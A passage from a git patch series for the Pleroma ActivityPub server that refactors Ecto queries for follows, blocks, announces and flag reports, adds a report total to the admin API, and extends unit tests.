+ %{activity | "object" => object}
end
- def lazy_put_object_defaults(map, activity, _fake) do
- map
- |> Map.put_new_lazy("id", &generate_object_id/0)
- |> Map.put_new_lazy("published", &make_date/0)
- |> Map.put_new("context", activity["context"])
- |> Map.put_new("context_id", activity["context_id"])
- end
+ defp lazy_put_object_defaults(activity, _), do: activity
@doc """
Inserts a full object if it is contained in an activity.
@@ -356,23 +351,30 @@ defp fetch_likes(object) do
@doc """
Updates a follow activity's state (for locked accounts).
"""
+ @spec update_follow_state_for_all(Activity.t(), String.t()) :: {:ok, Activity} | {:error, any()}
def update_follow_state_for_all(
%Activity{data: %{"actor" => actor, "object" => object}} = activity,
state
) do
- try do
- Ecto.Adapters.SQL.query!(
- Repo,
- "UPDATE activities SET data = jsonb_set(data, '{state}', $1) WHERE data->>'type' = 'Follow' AND data->>'actor' = $2 AND data->>'object' = $3 AND data->>'state' = 'pending'",
- [state, actor, object]
+ query =
+ from(activity in Activity,
+ where: fragment("data->>'type' = 'Follow'"),
+ where: fragment("data->>'state' = 'pending'"),
+ where: fragment("data->>'actor' = ?", ^actor),
+ where: fragment("data->>'object' = ?", ^object),
+ update: [
+ set: [
+ data: fragment("jsonb_set(data, '{state}', ?)", ^state)
+ ]
+ ]
)
- User.set_follow_state_cache(actor, object, state)
- activity = Activity.get_by_id(activity.id)
+ with {_, _} <- Repo.update_all(query, []),
+ {_, _} <- User.set_follow_state_cache(actor, object, state),
+ %Activity{} = activity <- Activity.get_by_id(activity.id) do
{:ok, activity}
- rescue
- e ->
- {:error, e}
+ else
+ e -> {:error, e}
end
end
@@ -380,9 +382,7 @@ def update_follow_state(
%Activity{data: %{"actor" => actor, "object" => object}} = activity,
state
) do
- with new_data <-
- activity.data
- |> Map.put("state", state),
+ with new_data <- Map.put(activity.data, "state", state),
changeset <- Changeset.change(activity, data: new_data),
{:ok, activity} <- Repo.update(changeset),
_ <- User.set_follow_state_cache(actor, object, state) do
@@ -411,27 +411,17 @@ def make_follow_data(
def fetch_latest_follow(%User{ap_id: follower_id}, %User{ap_id: followed_id}) do
query =
- from(
- activity in Activity,
- where:
- fragment(
- "? ->> 'type' = 'Follow'",
- activity.data
- ),
- where: activity.actor == ^follower_id,
- # this is to use the index
- where:
- fragment(
- "coalesce((?)->'object'->>'id', (?)->>'object') = ?",
- activity.data,
- activity.data,
- ^followed_id
- ),
- order_by: [fragment("? desc nulls last", activity.id)],
- limit: 1
- )
+ follower_id
+ |> Activity.Queries.by_actor()
+ |> Activity.Queries.by_type("Follow")
+ |> Activity.Queries.by_object_id(followed_id)
+ |> Activity.Queries.limit(1)
- Repo.one(query)
+ from(
+ activity in query,
+ order_by: [fragment("? desc nulls last", activity.id)]
+ )
+ |> Repo.one()
end
#### Announce-related helpers
@@ -439,23 +429,14 @@ def fetch_latest_follow(%User{ap_id: follower_id}, %User{ap_id: followed_id}) do
@doc """
Retruns an existing announce activity if the notice has already been announced
"""
+ @spec get_existing_announce(String.t(), map()) :: Activity.t() | nil
def get_existing_announce(actor, %{data: %{"id" => id}}) do
- query =
- from(
- activity in Activity,
- where: activity.actor == ^actor,
- # this is to use the index
- where:
- fragment(
- "coalesce((?)->'object'->>'id', (?)->>'object') = ?",
- activity.data,
- activity.data,
- ^id
- ),
- where: fragment("(?)->>'type' = 'Announce'", activity.data)
- )
-
- Repo.one(query)
+ actor
+ |> Activity.Queries.by_actor()
+ |> Activity.Queries.by_type("Announce")
+ |> Activity.Queries.by_object_id(id)
+ |> Activity.Queries.limit(1)
+ |> Repo.one()
end
@doc """
@@ -531,31 +512,35 @@ def make_unlike_data(
|> maybe_put("id", activity_id)
end
+ @spec add_announce_to_object(Activity.t(), Object.t()) ::
+ {:ok, Object.t()} | {:error, Ecto.Changeset.t()}
def add_announce_to_object(
- %Activity{
- data: %{"actor" => actor, "cc" => [Pleroma.Constants.as_public()]}
- },
+ %Activity{data: %{"actor" => actor, "cc" => [Pleroma.Constants.as_public()]}},
object
) do
- announcements =
- if is_list(object.data["announcements"]), do: object.data["announcements"], else: []
+ announcements = fetch_announcements(object)
- with announcements <- [actor | announcements] |> Enum.uniq() do
+ with announcements <- Enum.uniq([actor | announcements]) do
update_element_in_object("announcement", announcements, object)
end
end
def add_announce_to_object(_, object), do: {:ok, object}
+ @spec remove_announce_from_object(Activity.t(), Object.t()) ::
+ {:ok, Object.t()} | {:error, Ecto.Changeset.t()}
def remove_announce_from_object(%Activity{data: %{"actor" => actor}}, object) do
- announcements =
- if is_list(object.data["announcements"]), do: object.data["announcements"], else: []
-
- with announcements <- announcements |> List.delete(actor) do
+ with announcements <- List.delete(fetch_announcements(object), actor) do
update_element_in_object("announcement", announcements, object)
end
end
+ defp fetch_announcements(%{data: %{"announcements" => announcements}} = _)
+ when is_list(announcements),
+ do: announcements
+
+ defp fetch_announcements(_), do: []
+
#### Unfollow-related helpers
def make_unfollow_data(follower, followed, follow_activity, activity_id) do
@@ -569,29 +554,20 @@ def make_unfollow_data(follower, followed, follow_activity, activity_id) do
end
#### Block-related helpers
+ @spec fetch_latest_block(User.t(), User.t()) :: Activity.t() | nil
def fetch_latest_block(%User{ap_id: blocker_id}, %User{ap_id: blocked_id}) do
query =
- from(
- activity in Activity,
- where:
- fragment(
- "? ->> 'type' = 'Block'",
- activity.data
- ),
- where: activity.actor == ^blocker_id,
- # this is to use the index
- where:
- fragment(
- "coalesce((?)->'object'->>'id', (?)->>'object') = ?",
- activity.data,
- activity.data,
- ^blocked_id
- ),
- order_by: [fragment("? desc nulls last", activity.id)],
- limit: 1
- )
+ blocker_id
+ |> Activity.Queries.by_actor()
+ |> Activity.Queries.by_type("Block")
+ |> Activity.Queries.by_object_id(blocked_id)
+ |> Activity.Queries.limit(1)
- Repo.one(query)
+ from(
+ activity in query,
+ order_by: [fragment("? desc nulls last", activity.id)]
+ )
+ |> Repo.one()
end
def make_block_data(blocker, blocked, activity_id) do
@@ -631,28 +607,32 @@ def make_create_data(params, additional) do
end
#### Flag-related helpers
-
- def make_flag_data(params, additional) do
- status_ap_ids =
- Enum.map(params.statuses || [], fn
- %Activity{} = act -> act.data["id"]
- act when is_map(act) -> act["id"]
- act when is_binary(act) -> act
- end)
-
- object = [params.account.ap_id] ++ status_ap_ids
-
+ @spec make_flag_data(map(), map()) :: map()
+ def make_flag_data(%{actor: actor, context: context, content: content} = params, additional) do
%{
"type" => "Flag",
- "actor" => params.actor.ap_id,
- "content" => params.content,
- "object" => object,
- "context" => params.context,
+ "actor" => actor.ap_id,
+ "content" => content,
+ "object" => build_flag_object(params),
+ "context" => context,
"state" => "open"
}
|> Map.merge(additional)
end
+ def make_flag_data(_, _), do: %{}
+
+ defp build_flag_object(%{account: account, statuses: statuses} = _) do
+ [account.ap_id] ++
+ Enum.map(statuses || [], fn
+ %Activity{} = act -> act.data["id"]
+ act when is_map(act) -> act["id"]
+ act when is_binary(act) -> act
+ end)
+ end
+
+ defp build_flag_object(_), do: []
+
@doc """
Fetches the OrderedCollection/OrderedCollectionPage from `from`, limiting the amount of pages fetched after
the first one to `pages_left` pages.
diff --git a/test/web/activity_pub/utils_test.exs b/test/web/activity_pub/utils_test.exs
index eb429b2c4..b1c1d6f71 100644
--- a/test/web/activity_pub/utils_test.exs
+++ b/test/web/activity_pub/utils_test.exs
@@ -87,6 +87,18 @@ test "works with an object that has only IR tags" do
assert Utils.determine_explicit_mentions(object) == []
end
+
+ test "works with an object has tags as map" do
+ object = %{
+ "tag" => %{
+ "type" => "Mention",
+ "href" => "https://example.com/~alyssa",
+ "name" => "Alyssa P. Hacker"
+ }
+ }
+
+ assert Utils.determine_explicit_mentions(object) == ["https://example.com/~alyssa"]
+ end
end
describe "make_unlike_data/3" do
@@ -300,8 +312,8 @@ test "updates the state of all Follow activities with the same actor and object"
{:ok, follow_activity_two} =
Utils.update_follow_state_for_all(follow_activity_two, "accept")
- assert Repo.get(Activity, follow_activity.id).data["state"] == "accept"
- assert Repo.get(Activity, follow_activity_two.id).data["state"] == "accept"
+ assert refresh_record(follow_activity).data["state"] == "accept"
+ assert refresh_record(follow_activity_two).data["state"] == "accept"
end
end
@@ -323,8 +335,8 @@ test "updates the state of the given follow activity" do
{:ok, follow_activity_two} = Utils.update_follow_state(follow_activity_two, "reject")
- assert Repo.get(Activity, follow_activity.id).data["state"] == "pending"
- assert Repo.get(Activity, follow_activity_two.id).data["state"] == "reject"
+ assert refresh_record(follow_activity).data["state"] == "pending"
+ assert refresh_record(follow_activity_two).data["state"] == "reject"
end
end
@@ -401,4 +413,216 @@ test "fetches existing like" do
assert ^like_activity = Utils.get_existing_like(user.ap_id, object)
end
end
+
+ describe "get_get_existing_announce/2" do
+ test "returns nil if announce not found" do
+ actor = insert(:user)
+ refute Utils.get_existing_announce(actor.ap_id, %{data: %{"id" => "test"}})
+ end
+
+ test "fetches existing announce" do
+ note_activity = insert(:note_activity)
+ assert object = Object.normalize(note_activity)
+ actor = insert(:user)
+
+ {:ok, announce, _object} = ActivityPub.announce(actor, object)
+ assert Utils.get_existing_announce(actor.ap_id, object) == announce
+ end
+ end
+
+ describe "fetch_latest_block/2" do
+ test "fetches last block activities" do
+ user1 = insert(:user)
+ user2 = insert(:user)
+
+ assert {:ok, %Activity{} = _} = ActivityPub.block(user1, user2)
+ assert {:ok, %Activity{} = _} = ActivityPub.block(user1, user2)
+ assert {:ok, %Activity{} = activity} = ActivityPub.block(user1, user2)
+
+ assert Utils.fetch_latest_block(user1, user2) == activity
+ end
+ end
+
+ describe "recipient_in_message/3" do
+ test "returns true when recipient in `to`" do
+ recipient = insert(:user)
+ actor = insert(:user)
+ assert Utils.recipient_in_message(recipient, actor, %{"to" => recipient.ap_id})
+
+ assert Utils.recipient_in_message(
+ recipient,
+ actor,
+ %{"to" => [recipient.ap_id], "cc" => ""}
+ )
+ end
+
+ test "returns true when recipient in `cc`" do
+ recipient = insert(:user)
+ actor = insert(:user)
+ assert Utils.recipient_in_message(recipient, actor, %{"cc" => recipient.ap_id})
+
+ assert Utils.recipient_in_message(
+ recipient,
+ actor,
+ %{"cc" => [recipient.ap_id], "to" => ""}
+ )
+ end
+
+ test "returns true when recipient in `bto`" do
+ recipient = insert(:user)
+ actor = insert(:user)
+ assert Utils.recipient_in_message(recipient, actor, %{"bto" => recipient.ap_id})
+
+ assert Utils.recipient_in_message(
+ recipient,
+ actor,
+ %{"bcc" => "", "bto" => [recipient.ap_id]}
+ )
+ end
+
+ test "returns true when recipient in `bcc`" do
+ recipient = insert(:user)
+ actor = insert(:user)
+ assert Utils.recipient_in_message(recipient, actor, %{"bcc" => recipient.ap_id})
+
+ assert Utils.recipient_in_message(
+ recipient,
+ actor,
+ %{"bto" => "", "bcc" => [recipient.ap_id]}
+ )
+ end
+
+ test "returns true when message without addresses fields" do
+ recipient = insert(:user)
+ actor = insert(:user)
+ assert Utils.recipient_in_message(recipient, actor, %{"bccc" => recipient.ap_id})
+
+ assert Utils.recipient_in_message(
+ recipient,
+ actor,
+ %{"btod" => "", "bccc" => [recipient.ap_id]}
+ )
+ end
+
+ test "returns false" do
+ recipient = insert(:user)
+ actor = insert(:user)
+ refute Utils.recipient_in_message(recipient, actor, %{"to" => "ap_id"})
+ end
+ end
+
+ describe "lazy_put_activity_defaults/2" do
+ test "returns map with id and published data" do
+ note_activity = insert(:note_activity)
+ object = Object.normalize(note_activity)
+ res = Utils.lazy_put_activity_defaults(%{"context" => object.data["id"]})
+ assert res["context"] == object.data["id"]
+ assert res["context_id"] == object.id
+ assert res["id"]
+ assert res["published"]
+ end
+
+ test "returns map with fake id and published data" do
+ assert %{
+ "context" => "pleroma:fakecontext",
+ "context_id" => -1,
+ "id" => "pleroma:fakeid",
+ "published" => _
+ } = Utils.lazy_put_activity_defaults(%{}, true)
+ end
+
+ test "returns activity data with object" do
+ note_activity = insert(:note_activity)
+ object = Object.normalize(note_activity)
+
+ res =
+ Utils.lazy_put_activity_defaults(%{
+ "context" => object.data["id"],
+ "object" => %{}
+ })
+
+ assert res["context"] == object.data["id"]
+ assert res["context_id"] == object.id
+ assert res["id"]
+ assert res["published"]
+ assert res["object"]["id"]
+ assert res["object"]["published"]
+ assert res["object"]["context"] == object.data["id"]
+ assert res["object"]["context_id"] == object.id
+ end
+ end
+
+ describe "make_flag_data" do
+ test "returns empty map when params is invalid" do
+ assert Utils.make_flag_data(%{}, %{}) == %{}
+ end
+
+ test "returns map with Flag object" do
+ reporter = insert(:user)
+ target_account = insert(:user)
+ {:ok, activity} = CommonAPI.post(target_account, %{"status" => "foobar"})
+ context = Utils.generate_context_id()
+ content = "foobar"
+
+ target_ap_id = target_account.ap_id
+ activity_ap_id = activity.data["id"]
+
+ res =
+ Utils.make_flag_data(
+ %{
+ actor: reporter,
+ context: context,
+ account: target_account,
+ statuses: [%{"id" => activity.data["id"]}],
+ content: content
+ },
+ %{}
+ )
+
+ assert %{
+ "type" => "Flag",
+ "content" => ^content,
+ "context" => ^context,
+ "object" => [^target_ap_id, ^activity_ap_id],
+ "state" => "open"
+ } = res
+ end
+ end
+
+ describe "add_announce_to_object/2" do
+ test "adds actor to announcement" do
+ user = insert(:user)
+ object = insert(:note)
+
+ activity =
+ insert(:note_activity,
+ data: %{
+ "actor" => user.ap_id,
+ "cc" => [Pleroma.Constants.as_public()]
+ }
+ )
+
+ assert {:ok, updated_object} = Utils.add_announce_to_object(activity, object)
+ assert updated_object.data["announcements"] == [user.ap_id]
+ assert updated_object.data["announcement_count"] == 1
+ end
+ end
+
+ describe "remove_announce_from_object/2" do
+ test "removes actor from announcements" do
+ user = insert(:user)
+ user2 = insert(:user)
+
+ object =
+ insert(:note,
+ data: %{"announcements" => [user.ap_id, user2.ap_id], "announcement_count" => 2}
+ )
+
+ activity = insert(:note_activity, data: %{"actor" => user.ap_id})
+
+ assert {:ok, updated_object} = Utils.remove_announce_from_object(activity, object)
+ assert updated_object.data["announcements"] == [user2.ap_id]
+ assert updated_object.data["announcement_count"] == 1
+ end
+ end
end
From a890451187f0b1507be96ccf144b18fdb8294dd8 Mon Sep 17 00:00:00 2001
From: Maksim Pechnikov
Date: Wed, 4 Sep 2019 17:42:27 +0300
Subject: [PATCH 007/148] fetch_announcements -> take_announcements
---
lib/pleroma/web/activity_pub/utils.ex | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/lib/pleroma/web/activity_pub/utils.ex b/lib/pleroma/web/activity_pub/utils.ex
index cf82d1a9b..0d87b9220 100644
--- a/lib/pleroma/web/activity_pub/utils.ex
+++ b/lib/pleroma/web/activity_pub/utils.ex
@@ -518,7 +518,7 @@ def add_announce_to_object(
%Activity{data: %{"actor" => actor, "cc" => [Pleroma.Constants.as_public()]}},
object
) do
- announcements = fetch_announcements(object)
+ announcements = take_announcements(object)
with announcements <- Enum.uniq([actor | announcements]) do
update_element_in_object("announcement", announcements, object)
@@ -530,16 +530,16 @@ def add_announce_to_object(_, object), do: {:ok, object}
@spec remove_announce_from_object(Activity.t(), Object.t()) ::
{:ok, Object.t()} | {:error, Ecto.Changeset.t()}
def remove_announce_from_object(%Activity{data: %{"actor" => actor}}, object) do
- with announcements <- List.delete(fetch_announcements(object), actor) do
+ with announcements <- List.delete(take_announcements(object), actor) do
update_element_in_object("announcement", announcements, object)
end
end
- defp fetch_announcements(%{data: %{"announcements" => announcements}} = _)
+ defp take_announcements(%{data: %{"announcements" => announcements}} = _)
when is_list(announcements),
do: announcements
- defp fetch_announcements(_), do: []
+ defp take_announcements(_), do: []
#### Unfollow-related helpers
From af746fa4a814dbacd4fe4a3e58b1ee1732363d22 Mon Sep 17 00:00:00 2001
From: Maxim Filippov
Date: Wed, 4 Sep 2019 20:08:13 +0300
Subject: [PATCH 008/148] Return total for reports
---
CHANGELOG.md | 3 ++-
docs/api/admin_api.md | 1 +
lib/pleroma/web/admin_api/admin_api_controller.ex | 6 ++----
lib/pleroma/web/admin_api/views/report_view.ex | 3 ++-
test/web/admin_api/admin_api_controller_test.exs | 8 ++++++++
5 files changed, 15 insertions(+), 6 deletions(-)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index a414ba5e0..942605f28 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -21,7 +21,8 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
- Mastodon API: Unsubscribe followers when they unfollow a user
- AdminAPI: Add "godmode" while fetching user statuses (i.e. admin can see private statuses)
- Improve digest email template
-– Pagination: (optional) return `total` alongside with `items` when paginating
+- Pagination: (optional) return `total` alongside with `items` when paginating
+- Admin API: Return `total` when querying for reports
### Fixed
- Following from Osada
diff --git a/docs/api/admin_api.md b/docs/api/admin_api.md
index d79c342be..5a090c720 100644
--- a/docs/api/admin_api.md
+++ b/docs/api/admin_api.md
@@ -313,6 +313,7 @@ Note: Available `:permission_group` is currently moderator and admin. 404 is ret
```json
{
+ "total" : 1,
"reports": [
{
"account": {
diff --git a/lib/pleroma/web/admin_api/admin_api_controller.ex b/lib/pleroma/web/admin_api/admin_api_controller.ex
index 544b9d7d8..2a1cc59e5 100644
--- a/lib/pleroma/web/admin_api/admin_api_controller.ex
+++ b/lib/pleroma/web/admin_api/admin_api_controller.ex
@@ -442,11 +442,9 @@ def list_reports(conn, params) do
params
|> Map.put("type", "Flag")
|> Map.put("skip_preload", true)
+ |> Map.put("total", true)
- reports =
- []
- |> ActivityPub.fetch_activities(params)
- |> Enum.reverse()
+ reports = ActivityPub.fetch_activities([], params)
conn
|> put_view(ReportView)
diff --git a/lib/pleroma/web/admin_api/views/report_view.ex b/lib/pleroma/web/admin_api/views/report_view.ex
index a25f3f1fe..0b8745b2e 100644
--- a/lib/pleroma/web/admin_api/views/report_view.ex
+++ b/lib/pleroma/web/admin_api/views/report_view.ex
@@ -12,7 +12,8 @@ defmodule Pleroma.Web.AdminAPI.ReportView do
def render("index.json", %{reports: reports}) do
%{
- reports: render_many(reports, __MODULE__, "show.json", as: :report)
+ reports: render_many(reports[:items], __MODULE__, "show.json", as: :report),
+ total: reports[:total]
}
end
diff --git a/test/web/admin_api/admin_api_controller_test.exs b/test/web/admin_api/admin_api_controller_test.exs
index 4e2c27431..b1ddd898b 100644
--- a/test/web/admin_api/admin_api_controller_test.exs
+++ b/test/web/admin_api/admin_api_controller_test.exs
@@ -1309,6 +1309,7 @@ test "returns empty response when no reports created", %{conn: conn} do
|> json_response(:ok)
assert Enum.empty?(response["reports"])
+ assert response["total"] == 0
end
test "returns reports", %{conn: conn} do
@@ -1331,6 +1332,8 @@ test "returns reports", %{conn: conn} do
assert length(response["reports"]) == 1
assert report["id"] == report_id
+
+ assert response["total"] == 1
end
test "returns reports with specified state", %{conn: conn} do
@@ -1364,6 +1367,8 @@ test "returns reports with specified state", %{conn: conn} do
assert length(response["reports"]) == 1
assert open_report["id"] == first_report_id
+ assert response["total"] == 1
+
response =
conn
|> get("/api/pleroma/admin/reports", %{
@@ -1376,6 +1381,8 @@ test "returns reports with specified state", %{conn: conn} do
assert length(response["reports"]) == 1
assert closed_report["id"] == second_report_id
+ assert response["total"] == 1
+
response =
conn
|> get("/api/pleroma/admin/reports", %{
@@ -1384,6 +1391,7 @@ test "returns reports with specified state", %{conn: conn} do
|> json_response(:ok)
assert Enum.empty?(response["reports"])
+ assert response["total"] == 0
end
test "returns 403 when requested by a non-admin" do
From 8306078de1abade082f932cda5b8d9297bdcdc80 Mon Sep 17 00:00:00 2001
From: Maksim
Date: Wed, 4 Sep 2019 17:31:14 +0000
Subject: [PATCH 009/148] Apply suggestion to
lib/pleroma/web/activity_pub/utils.ex
---
lib/pleroma/web/activity_pub/utils.ex | 33 +++++++++++----------------
1 file changed, 13 insertions(+), 20 deletions(-)
diff --git a/lib/pleroma/web/activity_pub/utils.ex b/lib/pleroma/web/activity_pub/utils.ex
index 0d87b9220..2de02f607 100644
--- a/lib/pleroma/web/activity_pub/utils.ex
+++ b/lib/pleroma/web/activity_pub/utils.ex
@@ -356,26 +356,19 @@ def update_follow_state_for_all(
%Activity{data: %{"actor" => actor, "object" => object}} = activity,
state
) do
- query =
- from(activity in Activity,
- where: fragment("data->>'type' = 'Follow'"),
- where: fragment("data->>'state' = 'pending'"),
- where: fragment("data->>'actor' = ?", ^actor),
- where: fragment("data->>'object' = ?", ^object),
- update: [
- set: [
- data: fragment("jsonb_set(data, '{state}', ?)", ^state)
- ]
- ]
- )
-
- with {_, _} <- Repo.update_all(query, []),
- {_, _} <- User.set_follow_state_cache(actor, object, state),
- %Activity{} = activity <- Activity.get_by_id(activity.id) do
- {:ok, activity}
- else
- e -> {:error, e}
- end
+ "Follow"
+ |> Activity.Queries.by_type()
+ |> Activity.Queries.by_actor(actor)
+ |> Activity.Queries.by_object_id(object["id"])
+ |> where(fragment("data->>'state' = 'pending'"))
+ |> update(set: [data: fragment("jsonb_set(data, '{state}', ?)", ^state)])
+ |> Repo.update_all([])
+
+ User.set_follow_state_cache(actor, object, state)
+
+ activity = Activity.get_by_id(activity.id)
+
+ {:ok, activity}
end
def update_follow_state(
From e2011a667cdf5e67f257c9c30a02c206fb4df913 Mon Sep 17 00:00:00 2001
From: Maksim
Date: Wed, 4 Sep 2019 18:35:01 +0000
Subject: [PATCH 010/148] Apply suggestion to
lib/pleroma/web/activity_pub/utils.ex
---
lib/pleroma/web/activity_pub/utils.ex | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/lib/pleroma/web/activity_pub/utils.ex b/lib/pleroma/web/activity_pub/utils.ex
index 2de02f607..011acd48e 100644
--- a/lib/pleroma/web/activity_pub/utils.ex
+++ b/lib/pleroma/web/activity_pub/utils.ex
@@ -359,7 +359,7 @@ def update_follow_state_for_all(
"Follow"
|> Activity.Queries.by_type()
|> Activity.Queries.by_actor(actor)
- |> Activity.Queries.by_object_id(object["id"])
+ |> Activity.Queries.by_object_id(object)
|> where(fragment("data->>'state' = 'pending'"))
|> update(set: [data: fragment("jsonb_set(data, '{state}', ?)", ^state)])
|> Repo.update_all([])
From ae506ca997619f118d18703a9b0802246eb427d5 Mon Sep 17 00:00:00 2001
From: Maksim Pechnikov
Date: Wed, 4 Sep 2019 21:40:53 +0300
Subject: [PATCH 011/148] fix formatting
---
lib/pleroma/web/activity_pub/utils.ex | 26 +++++++++++++-------------
1 file changed, 13 insertions(+), 13 deletions(-)
diff --git a/lib/pleroma/web/activity_pub/utils.ex b/lib/pleroma/web/activity_pub/utils.ex
index 011acd48e..72e07b59d 100644
--- a/lib/pleroma/web/activity_pub/utils.ex
+++ b/lib/pleroma/web/activity_pub/utils.ex
@@ -356,19 +356,19 @@ def update_follow_state_for_all(
%Activity{data: %{"actor" => actor, "object" => object}} = activity,
state
) do
- "Follow"
- |> Activity.Queries.by_type()
- |> Activity.Queries.by_actor(actor)
- |> Activity.Queries.by_object_id(object)
- |> where(fragment("data->>'state' = 'pending'"))
- |> update(set: [data: fragment("jsonb_set(data, '{state}', ?)", ^state)])
- |> Repo.update_all([])
-
- User.set_follow_state_cache(actor, object, state)
-
- activity = Activity.get_by_id(activity.id)
-
- {:ok, activity}
+ "Follow"
+ |> Activity.Queries.by_type()
+ |> Activity.Queries.by_actor(actor)
+ |> Activity.Queries.by_object_id(object)
+ |> where(fragment("data->>'state' = 'pending'"))
+ |> update(set: [data: fragment("jsonb_set(data, '{state}', ?)", ^state)])
+ |> Repo.update_all([])
+
+ User.set_follow_state_cache(actor, object, state)
+
+ activity = Activity.get_by_id(activity.id)
+
+ {:ok, activity}
end
def update_follow_state(
From 736165c082d34ef4d52367ea8315c228a1df3944 Mon Sep 17 00:00:00 2001
From: Maxim Filippov
Date: Thu, 5 Sep 2019 16:54:34 +0300
Subject: [PATCH 012/148] Reverse reports list
---
lib/pleroma/web/admin_api/views/report_view.ex | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/lib/pleroma/web/admin_api/views/report_view.ex b/lib/pleroma/web/admin_api/views/report_view.ex
index 0b8745b2e..51b95ad5e 100644
--- a/lib/pleroma/web/admin_api/views/report_view.ex
+++ b/lib/pleroma/web/admin_api/views/report_view.ex
@@ -12,7 +12,8 @@ defmodule Pleroma.Web.AdminAPI.ReportView do
def render("index.json", %{reports: reports}) do
%{
- reports: render_many(reports[:items], __MODULE__, "show.json", as: :report),
+ reports:
+ render_many(reports[:items], __MODULE__, "show.json", as: :report) |> Enum.reverse(),
total: reports[:total]
}
end
From a31af93e1d10d9db8796d86ccda35873697b5a4c Mon Sep 17 00:00:00 2001
From: Maksim Pechnikov
Date: Tue, 10 Sep 2019 16:43:10 +0300
Subject: [PATCH 013/148] added tests /activity_pub/transmogrifier.ex
---
.../web/activity_pub/transmogrifier.ex | 264 +++++++-----------
test/web/activity_pub/transmogrifier_test.exs | 162 +++++++++++
2 files changed, 270 insertions(+), 156 deletions(-)
diff --git a/lib/pleroma/web/activity_pub/transmogrifier.ex b/lib/pleroma/web/activity_pub/transmogrifier.ex
index 468961bd0..93b3a1f97 100644
--- a/lib/pleroma/web/activity_pub/transmogrifier.ex
+++ b/lib/pleroma/web/activity_pub/transmogrifier.ex
@@ -41,8 +41,7 @@ def fix_object(object, options \\ []) do
end
def fix_summary(%{"summary" => nil} = object) do
- object
- |> Map.put("summary", "")
+ Map.put(object, "summary", "")
end
def fix_summary(%{"summary" => _} = object) do
@@ -50,10 +49,7 @@ def fix_summary(%{"summary" => _} = object) do
object
end
- def fix_summary(object) do
- object
- |> Map.put("summary", "")
- end
+ def fix_summary(object), do: Map.put(object, "summary", "")
def fix_addressing_list(map, field) do
cond do
@@ -73,13 +69,9 @@ def fix_explicit_addressing(
explicit_mentions,
follower_collection
) do
- explicit_to =
- to
- |> Enum.filter(fn x -> x in explicit_mentions end)
+ explicit_to = Enum.filter(to, fn x -> x in explicit_mentions end)
- explicit_cc =
- to
- |> Enum.filter(fn x -> x not in explicit_mentions end)
+ explicit_cc = Enum.filter(to, fn x -> x not in explicit_mentions end)
final_cc =
(cc ++ explicit_cc)
@@ -97,13 +89,19 @@ def fix_explicit_addressing(object, _explicit_mentions, _followers_collection),
def fix_explicit_addressing(%{"directMessage" => true} = object), do: object
def fix_explicit_addressing(object) do
- explicit_mentions =
+ explicit_mentions = Utils.determine_explicit_mentions(object)
+
+ %User{follower_address: follower_collection} =
object
- |> Utils.determine_explicit_mentions()
+ |> Containment.get_actor()
+ |> User.get_cached_by_ap_id()
- follower_collection = User.get_cached_by_ap_id(Containment.get_actor(object)).follower_address
-
- explicit_mentions = explicit_mentions ++ [Pleroma.Constants.as_public(), follower_collection]
+ explicit_mentions =
+ explicit_mentions ++
+ [
+ Pleroma.Constants.as_public(),
+ follower_collection
+ ]
fix_explicit_addressing(object, explicit_mentions, follower_collection)
end
@@ -147,48 +145,25 @@ def fix_addressing(object) do
end
def fix_actor(%{"attributedTo" => actor} = object) do
- object
- |> Map.put("actor", Containment.get_actor(%{"actor" => actor}))
+ Map.put(object, "actor", Containment.get_actor(%{"actor" => actor}))
end
def fix_in_reply_to(object, options \\ [])
def fix_in_reply_to(%{"inReplyTo" => in_reply_to} = object, options)
when not is_nil(in_reply_to) do
- in_reply_to_id =
- cond do
- is_bitstring(in_reply_to) ->
- in_reply_to
-
- is_map(in_reply_to) && is_bitstring(in_reply_to["id"]) ->
- in_reply_to["id"]
-
- is_list(in_reply_to) && is_bitstring(Enum.at(in_reply_to, 0)) ->
- Enum.at(in_reply_to, 0)
-
- # Maybe I should output an error too?
- true ->
- ""
- end
-
+ in_reply_to_id = prepare_in_reply_to(in_reply_to)
object = Map.put(object, "inReplyToAtomUri", in_reply_to_id)
if Federator.allowed_incoming_reply_depth?(options[:depth]) do
- case get_obj_helper(in_reply_to_id, options) do
- {:ok, replied_object} ->
- with %Activity{} = _activity <-
- Activity.get_create_by_object_ap_id(replied_object.data["id"]) do
- object
- |> Map.put("inReplyTo", replied_object.data["id"])
- |> Map.put("inReplyToAtomUri", object["inReplyToAtomUri"] || in_reply_to_id)
- |> Map.put("conversation", replied_object.data["context"] || object["conversation"])
- |> Map.put("context", replied_object.data["context"] || object["conversation"])
- else
- e ->
- Logger.error("Couldn't fetch \"#{inspect(in_reply_to_id)}\", error: #{inspect(e)}")
- object
- end
-
+ with {:ok, replied_object} <- get_obj_helper(in_reply_to_id, options),
+ %Activity{} = _ <- Activity.get_create_by_object_ap_id(replied_object.data["id"]) do
+ object
+ |> Map.put("inReplyTo", replied_object.data["id"])
+ |> Map.put("inReplyToAtomUri", object["inReplyToAtomUri"] || in_reply_to_id)
+ |> Map.put("conversation", replied_object.data["context"] || object["conversation"])
+ |> Map.put("context", replied_object.data["context"] || object["conversation"])
+ else
e ->
Logger.error("Couldn't fetch \"#{inspect(in_reply_to_id)}\", error: #{inspect(e)}")
object
@@ -200,6 +175,22 @@ def fix_in_reply_to(%{"inReplyTo" => in_reply_to} = object, options)
def fix_in_reply_to(object, _options), do: object
+ defp prepare_in_reply_to(in_reply_to) do
+ cond do
+ is_bitstring(in_reply_to) ->
+ in_reply_to
+
+ is_map(in_reply_to) && is_bitstring(in_reply_to["id"]) ->
+ in_reply_to["id"]
+
+ is_list(in_reply_to) && is_bitstring(Enum.at(in_reply_to, 0)) ->
+ Enum.at(in_reply_to, 0)
+
+ true ->
+ ""
+ end
+ end
+
def fix_context(object) do
context = object["context"] || object["conversation"] || Utils.generate_context_id()
@@ -210,8 +201,7 @@ def fix_context(object) do
def fix_attachments(%{"attachment" => attachment} = object) when is_list(attachment) do
attachments =
- attachment
- |> Enum.map(fn data ->
+ Enum.map(attachment, fn data ->
media_type = data["mediaType"] || data["mimeType"]
href = data["url"] || data["href"]
@@ -222,30 +212,23 @@ def fix_attachments(%{"attachment" => attachment} = object) when is_list(attachm
|> Map.put("url", url)
end)
- object
